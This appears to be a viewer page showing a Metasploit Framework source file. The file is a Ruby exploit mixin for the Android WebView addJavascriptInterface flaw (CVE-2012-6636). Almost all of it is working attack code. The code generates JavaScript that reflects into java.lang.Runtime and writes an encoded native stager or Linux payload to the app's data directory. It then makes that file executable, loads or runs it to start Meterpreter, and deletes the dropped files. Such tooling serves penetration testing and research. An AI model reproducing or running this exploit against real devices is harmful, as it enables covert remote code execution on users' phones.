Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/core/exploit/android.rb
Views: 11784
# -*- coding: binary -*-12module Msf3module Exploit::Android45# Since the NDK stager is used, arch detection must be performed6SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]78# Most android devices are ARM9DEFAULT_ARCH = ARCH_ARMLE1011# Some of the default NDK build targets are named differently than12# msf's builtin constants. This mapping allows the ndkstager file13# to be looked up from the msf constant.14NDK_FILES = {15ARCH_ARMLE => 'armeabi',16ARCH_MIPSLE => 'mips'17}1819def add_javascript_interface_exploit_js(arch)20%Q|21function exec(runtime, cmdArr) {22var ch = 0;23var output = '';24var process = runtime.exec(cmdArr);25var input = process.getInputStream();2627while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }28return output;29}3031function attemptExploit(obj) {32// ensure that the object contains a native interface33try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }3435// get the pid36var pid = obj.getClass()37.forName('android.os.Process')38.getMethod('myPid', null)39.invoke(null, null);4041// get the runtime so we can exec42var runtime = obj.getClass()43.forName('java.lang.Runtime')44.getMethod('getRuntime', null)45.invoke(null, null);4647#{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}4849return true;50}5152for (i in top) { if (attemptExploit(top[i]) === true) break; }53|54end5556def stager_js(arch)57stagename = Rex::Text.rand_text_alpha(5)58%Q|59// libraryData contains the bytes for a native shared object built via NDK60// which will load the "stage", which in this case is our android meterpreter stager.61var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";6263// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains64// another stager which loads android meterpreter from the msf handler.65var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";6667// get the process name, which will give us our data path68// $PPID does not seem to work on android 4.0, so we concat pids manually69var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);70var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';71var stagePath = path + '/#{stagename}.apk';7273// build the library and chmod it74runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();75runtime.exec(['chmod', '700', libraryPath]).waitFor();7677// build the stage, chmod it, and load it78runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();79runtime.exec(['chmod', '700', stagePath]).waitFor();8081// load the library82runtime.load(libraryPath);8384// delete dropped files85runtime.exec(['rm', stagePath]).waitFor();86runtime.exec(['rm', libraryPath]).waitFor();87|88end8990def linux_exe_js(arch)91platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)9293%Q|94var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";9596// get the process name, which will give us our data path97// $PPID does not seem to work on android 4.0, so we concat pids manually98var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);99var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';100101// build the library and chmod it102runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();103runtime.exec(['chmod', '700', payloadPath]).waitFor();104105// run the payload106runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();107108// delete dropped files109runtime.exec(['rm', payloadPath]).waitFor();110|111end112113# The NDK stager is used to launch a hidden APK114def ndkstager(stagename, arch)115stager_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-6636", NDK_FILES[arch] || arch, 'libndkstager.so')116data = File.read(stager_file, mode: 'rb')117data.gsub!('PLOAD', stagename)118end119120end121end122123124